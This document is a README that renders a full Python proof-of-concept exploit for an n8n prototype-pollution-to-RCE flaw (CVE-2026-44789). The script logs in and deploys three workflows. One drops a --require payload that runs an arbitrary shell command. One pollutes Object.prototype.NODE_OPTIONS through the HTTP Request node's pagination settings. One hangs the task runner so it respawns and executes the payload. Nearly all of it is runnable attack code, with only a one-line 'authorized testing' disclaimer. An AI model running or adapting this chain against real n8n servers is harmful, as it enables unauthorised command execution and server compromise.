README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-44789 - n8n < 1.123.43 - HTTP Request node pagination Prototype Pollution -> RCE
An authenticated workflow creator pollutes Object.prototype in the n8n *server* process
through the HTTP Request node's pagination settings, then escalates to OS command
execution by abusing how n8n (re)spawns its task runner.
Primitive (packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts):
paginationData.request[parameter.type]![parameterName] = parameterValue;
With parameter.type = "__proto__", this assigns onto Object.prototype globally.
Gadget (packages/cli/src/task-runners/task-runner-process-js.ts):
spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
Node's normalizeSpawnArguments iterates `for (key in env)`, which includes inherited
properties. Polluting Object.prototype.NODE_OPTIONS = "--require=<file>" therefore leaks
into the spawned runner's environment -> the runner `node` process executes <file> at
startup -> RCE, bypassing the Code-node sandbox.
The runner is spawned at startup; the lifecycle re-spawns it on exit, so the attacker
forces a respawn (after polluting) with a Code node that hangs/OOMs the runner.
Chain implemented here (single authenticated session, against a runners-enabled instance):
1. write the --require payload to disk via the Read/Write Files node;
2. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node;
3. crash the task runner via a Code node -> it respawns with the leaked NODE_OPTIONS.
Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import json
import sys
import time
import urllib.error
import urllib.request
class N8n:
def __init__(self, base):
self.base = base.rstrip("/")
self.cookie = ""
def _req(self, path, data=None, method=None):
h = {"Content-Type": "application/json"}
if self.cookie:
h["Cookie"] = self.cookie
r = urllib.request.Request(
self.base + path,
data=json.dumps(data).encode() if data is not None else None,
headers=h,
method=method or ("POST" if data is not None else "GET"),
)
try:
resp = urllib.request.urlopen(r, timeout=60)
sc = resp.headers.get_all("Set-Cookie") or []
return resp.status, resp.read().decode(), sc
except urllib.error.HTTPError as e:
return e.code, e.read().decode(), []
def auth(self, email, password):
# first-run owner setup is a no-op if the instance is already initialised
for _ in range(8):
self._req("/rest/owner/setup", {"email": email, "firstName": "a", "lastName": "b", "password": password})
st, _, sc = self._req("/rest/login", {"emailOrLdapLoginId": email, "password": password})
if st == 200 and sc:
self.cookie = "; ".join(c.split(";")[0] for c in sc)
return self
time.sleep(2)
raise SystemExit("[!] login failed - supply valid --user/--password for an initialised instance")
def deploy(self, name, nodes, connections):
wf = {"name": name, "active": False, "nodes": nodes, "connections": connections, "settings": {}}
st, body, _ = self._req("/rest/workflows", wf)
if st != 200:
raise SystemExit(f"[!] workflow create failed ({st}): {body[:160]}")
wid = json.loads(body)["data"]["id"]
self._req(f"/rest/workflows/{wid}", {"active": True}, "PATCH")
return wid
def fire(self, path, timeout=30):
try:
urllib.request.urlopen(self.base + "/webhook/" + path, data=b"{}", timeout=timeout)
except Exception:
pass
def hook(path, wid):
return {"parameters": {"path": path, "httpMethod": "POST", "responseMode": "onReceived"},
"type": "n8n-nodes-base.webhook", "typeVersion": 2, "position": [200, 300],
"name": "Hook", "webhookId": wid}
def main():
ap = argparse.ArgumentParser(description="CVE-2026-44789 n8n prototype pollution -> RCE")
ap.add_argument("target", help="n8n base URL, e.g. http://127.0.0.1:5678")
ap.add_argument("-u", "--user", default="[email protected]")
ap.add_argument("-p", "--password", default="Sup3rPass1")
ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the n8n host")
ap.add_argument("--evil", default="/tmp/evil.js", help="path for the --require payload on the target host")
args = ap.parse_args()
safe = args.cmd.replace("\\", "\\\\").replace('"', '\\"')
evil_js = f'require("fs").writeFileSync("/tmp/n8n_rce_proof","RCE "+require("child_process").execSync("{safe}").toString());'
n = N8n(args.target).auth(args.user, args.password)
print(f"[*] authenticated to {args.target}")
# IMPORTANT: deploy ALL workflows BEFORE polluting. Once Object.prototype.NODE_OPTIONS is set,
# n8n's TypeORM persistence enumerates the polluted key and workflow CRUD starts failing, so the
# crash workflow could no longer be created. Webhook *execution* still works after pollution.
# writer: Set -> Convert to File -> Read/Write Files (drops the --require payload to disk)
setn = {"parameters": {"assignments": {"assignments": [
{"id": "1", "name": "data", "value": evil_js, "type": "string"}]}},
"type": "n8n-nodes-base.set", "typeVersion": 3.4, "position": [450, 300], "name": "Set"}
tofile = {"parameters": {"operation": "toText", "sourceProperty": "data", "binaryPropertyName": "f"},
"type": "n8n-nodes-base.convertToFile", "typeVersion": 1.1, "position": [650, 300], "name": "ToFile"}
write = {"parameters": {"operation": "write", "fileName": args.evil, "dataPropertyName": "f"},
"type": "n8n-nodes-base.readWriteFile", "typeVersion": 1, "position": [850, 300], "name": "Write"}
n.deploy("w", [hook("ppwrite", "ppwrite"), setn, tofile, write],
{"Hook": {"main": [[{"node": "Set", "type": "main", "index": 0}]]},
"Set": {"main": [[{"node": "ToFile", "type": "main", "index": 0}]]},
"ToFile": {"main": [[{"node": "Write", "type": "main", "index": 0}]]}})
# polluter: HTTP Request node with pagination type "__proto__" -> Object.prototype.NODE_OPTIONS
http = {"parameters": {"url": args.target.rstrip("/") + "/healthz", "method": "GET",
"options": {"pagination": {"pagination": {
"paginationMode": "updateAParameterInEachRequest",
"parameters": {"parameters": [
{"type": "__proto__", "name": "NODE_OPTIONS", "value": f"--require={args.evil}"}]},
"paginationCompleteWhen": "receiveSpecificStatusCodes",
"statusCodesWhenComplete": "200", "requestInterval": 0,
"limitPagesFetched": True, "maxRequests": 1}}}},
"type": "n8n-nodes-base.httpRequest", "typeVersion": 3, "position": [450, 300],
"name": "HTTP Request", "onError": "continueRegularOutput"}
n.deploy("p", [hook("pppoll", "pppoll"), http],
{"Hook": {"main": [[{"node": "HTTP Request", "type": "main", "index": 0}]]}})
# crasher: a Code node that hangs the runner -> task timeout kills it -> lifecycle respawns it
boom = {"parameters": {"jsCode": "while(true){}"},
"type": "n8n-nodes-base.code", "typeVersion": 2, "position": [450, 300],
"name": "Boom", "onError": "continueRegularOutput"}
n.deploy("b", [hook("ppboom", "ppboom"), boom],
{"Hook": {"main": [[{"node": "Boom", "type": "main", "index": 0}]]}})
print("[*] deployed writer / polluter / crasher workflows")
# Ordering matters: the pollution breaks execution persistence, so the runner must already be
# hung BEFORE we pollute. Then the hung runner times out and the main process respawns it with
# the (by-then) polluted NODE_OPTIONS in its inherited environment.
n.fire("ppwrite")
print(f"[*] step 1: wrote --require payload to {args.evil} (via Read/Write Files node)")
n.fire("ppboom", timeout=4) # responseMode onReceived returns immediately; Code node hangs the runner
print("[*] step 2: dispatched a hanging task -> runner is now busy")
time.sleep(2)
n.fire("pppoll") # HTTP node runs in the MAIN process -> pollutes Object.prototype.NODE_OPTIONS
print("[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=" + args.evil)
print("[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...")
time.sleep(20)
print(f"[+] done. Check the target: cat /tmp/n8n_rce_proof (command: {args.cmd!r})")
print(" If empty, lower N8N_RUNNERS_TASK_TIMEOUT or re-fire /webhook/ppboom to force the respawn.")
if __name__ == "__main__":
sys.exit(main())